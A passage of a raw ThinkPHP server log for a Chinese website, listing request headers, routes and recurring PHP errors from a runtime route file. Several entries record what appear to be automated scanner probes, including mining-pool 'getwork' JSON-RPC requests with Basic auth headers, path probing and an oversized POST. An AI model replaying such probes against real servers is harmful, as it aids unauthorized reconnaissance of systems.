[运行时间:0.002464s] [吞吐率:405.83req/s] [内存消耗:133.11kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'effect', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:06:34+08:00 ] 113.215.188.145 GET 51tianwei.com/ [运行时间:0.001759s] [吞吐率:568.49req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3232.96 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:06:34+08:00 ] 113.215.188.145 GET 51tianwei.com/ [运行时间:0.001453s] [吞吐率:688.27req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4618.65 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:06:34+08:00 ] 113.215.188.145 GET 51tianwei.com/favicon.ico [运行时间:0.005456s] [吞吐率:183.29req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4618.65 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:06:49+08:00 ] 185.91.69.5 GET 59.110.137.245/ [运行时间:0.001587s] [吞吐率:630.15req/s] [内存消耗:160.67kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:06:51+08:00 ] 185.91.69.5 POST 59.110.137.245/ [运行时间:0.001489s] [吞吐率:671.63req/s] [内存消耗:161.84kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', 'authorization' => 'Basic MTdMc3RCVkhSeldkb2JHcFRQMWdaMWsyM3UxZ2ZON3pUcjp4', 'content-type' => 'application/x-www-form-urlencoded', 'content-length' => '44', ) [ info ] [ PARAM ] array ( '{"id":_1,_"method":_"getwork",_"params":_' => array ( 0 => '', ), ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:06:53+08:00 ] 185.91.69.5 POST 59.110.137.245/ [运行时间:0.001563s] [吞吐率:639.86req/s] [内存消耗:161.98kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', 'authorization' => 'Basic MHhiMTNmMDkxY2VmZjJhZTMzNDNlZTljNjVlMDI2N2RmN2MxNTljODY4Ong=', 'content-type' => 'application/x-www-form-urlencoded', 'content-length' => '48', ) [ info ] [ PARAM ] array ( '{"id":_1,_"method":_"eth_getWork",_"params":_' => array ( 0 => '', ), ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:06:54+08:00 ] 185.91.69.5 GET 59.110.137.245/WuEL [运行时间:0.002053s] [吞吐率:487.09req/s] [内存消耗:132.68kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'WuEL', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; ; NCLIENT50_AAPCDA5841E333)', 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'no-cache', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:07:07+08:00 ] 185.91.69.5 GET 59.110.137.245/a [运行时间:0.002025s] [吞吐率:493.85req/s] [内存消耗:133.53kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'a', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:07:17+08:00 ] 185.91.69.5 GET 59.110.137.245/download/file.ext [运行时间:0.001808s] [吞吐率:553.05req/s] [内存消耗:133.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'download', 2 => 'file.ext', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:07:26+08:00 ] 185.91.69.5 GET 59.110.137.245/SiteLoader [运行时间:0.001878s] [吞吐率:532.54req/s] [内存消耗:133.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'SiteLoader', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:07:37+08:00 ] 98.96.193.12 GET 59.110.137.245/ [运行时间:0.001641s] [吞吐率:609.37req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:07:55+08:00 ] 185.91.69.5 GET 59.110.137.245/mPlayer [运行时间:0.001841s] [吞吐率:543.16req/s] [内存消耗:133.54kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'mPlayer', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:08:17+08:00 ] 185.91.69.5 POST 59.110.137.245/ [运行时间:10.387815s] [吞吐率:0.10req/s] [内存消耗:160.82kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'close', 'cache-control' => 'max-age=0', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en;q=0.9', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36', 'content-length' => '10485761', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:08:34+08:00 ] 113.215.189.32 GET 51tianwei.com/ [运行时间:0.001420s] [吞吐率:704.21req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.5714.88 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:08:34+08:00 ] 113.215.189.32 GET 51tianwei.com/ [运行时间:0.001267s] [吞吐率:789.14req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.1618.32 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:08:34+08:00 ] 113.215.189.32 GET 51tianwei.com/favicon.ico [运行时间:0.002331s] [吞吐率:429.00req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.1618.32 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:20:56+08:00 ] 185.224.128.47 GET localhost/ [运行时间:0.002331s] [吞吐率:429.00req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'accept' => '*/*', 'host' => 'localhost', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T05:29:56+08:00 ] 220.181.108.81 GET www.51tianwei.com/ [运行时间:1.682258s] [吞吐率:0.59req/s] [内存消耗:159.98kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'connection' => 'close', 'user-agent' => 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)', 'accept-language' => 'zh-cn,zh-tw', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ 